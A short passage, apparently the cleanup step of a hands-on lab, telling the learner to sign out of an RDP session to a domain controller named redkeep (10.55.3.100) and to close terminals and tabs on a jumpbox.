jumpbox. Sign out of your RDP session to the domain controllerredkeep (10.55.3.100). Exit any open terminals and close any open tabs on the jumpbox.